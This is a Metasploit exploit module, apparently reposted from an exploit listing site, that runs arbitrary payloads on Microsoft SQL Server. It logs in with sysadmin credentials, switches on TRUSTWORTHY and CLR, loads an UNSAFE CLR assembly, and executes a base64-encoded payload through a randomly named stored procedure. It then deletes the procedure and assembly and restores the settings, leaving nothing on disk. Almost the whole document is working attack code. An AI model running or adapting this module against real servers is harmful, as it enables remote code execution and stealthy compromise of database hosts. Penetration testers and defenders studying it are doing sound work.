Microsoft SQL Server Clr Stored Procedure Payload Execution

Published
Credit
Risk
2017.02.19
OJ Reeves
Medium
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::MSSQL

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
'Description' => %q{
This module executes an arbitrary native payload on a Microsoft SQL
server by loading a custom SQL CLR Assembly into the target SQL
installation, and calling it directly with a base64-encoded payload.

The module requires working credentials in order to connect directly to the
MSSQL Server.

This method requires the user to have sufficient privileges to install a custom
SQL CRL DLL, and invoke the custom stored procedure that comes with it.

This exploit does not leave any binaries on disk.

Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
},
'Author' =>
[
'Lee Christensen', # original idea/research
'Nathan Kirk', # extra research/blog post
'OJ Reeves' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999'
))

register_options(
[
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
])
end

def check
unless mssql_login_datastore(datastore['DATABASE'])
vprint_status('Invalid SQL Server credentials')
return Exploit::CheckCode::Detected
end

version = get_sql_version_string

unless version =~ /Server 20(05|08|12|14|16)/
vprint_status('Unsupported version of SQL Server')
return Exploit::CheckCode::Safe
end

if mssql_is_sysadmin
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
ensure
disconnect
end

def get_sql_version_string
mssql_query("select @@version", false)[:rows].first[0]
end

def get_sql_architecture(sql_version_string)
if sql_version_string =~ /(64-bit|x64)/i
ARCH_X64
else
ARCH_X86
end
end

def get_exploit_version(sql_version_string)
# keeping it simple at this point.
if sql_version_string =~ /Server (2005|2008|2012)/
'v3.5'
else
# assume 2014/2016 at this point.
'v4.0'
end
end

def set_trustworthy(on)
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
end

def is_trustworthy
# SQLi in MSF!! OMG!
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
result[:rows][0] == 'ON'
end

def enable_clr(enable)
query = %Q^
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
RECONFIGURE;
^
mssql_query(query, false)
end

def is_clr_enabled
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
result[:rows][0] == 'ON'
end

def exploit
unless mssql_login_datastore(datastore['DATABASE'])
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
end

unless mssql_is_sysadmin
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
end

# This module will only support 'thread' for EXITFUNC
# Bad things happen to SQL otherwise!
unless datastore['EXITFUNC'] == 'thread'
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
datastore['EXITFUNC'] = 'thread'
end

sql_version = get_sql_version_string
vprint_status("Target SQL Version is:\n#{sql_version}")

sql_arch = get_sql_architecture(sql_version)
unless payload.arch.first == sql_arch
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
end

trustworthy = is_trustworthy
clr_enabled = is_clr_enabled

unless trustworthy
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
set_trustworthy(true)
end

unless clr_enabled
print_status('Database does not have CLR support enabled, enabling ...')
enable_clr(true)
end

exploit_version = get_exploit_version(sql_version)
print_status("Using version #{exploit_version} of the Payload Assembly")
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
vprint_status("Using #{exploit_file_path}")

assembly = ::File.read(exploit_file_path)

# Convert the assembly to the required format for execution of the stored
# procedure to create the custom stored proc
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"

print_status('Adding custom payload assembly ...')
mssql_query(query, false)

proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"

print_status('Exposing payload execution stored procedure ...')
mssql_query(query, false)

# Generate the base64 encoded payload
b64payload = Rex::Text.encode_base64(payload.encoded)
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
print_status('Executing the payload ...')
mssql_query(query, false)

print_status('Removing stored procedure ...')
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)

print_status('Removing assembly ...')
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)

unless clr_enabled
print_status('Restoring CLR setting ...')
enable_clr(false)
end

unless trustworthy
print_status('Restoring Trustworthy setting ...')
set_trustworthy(false)
end

ensure
disconnect
end

end


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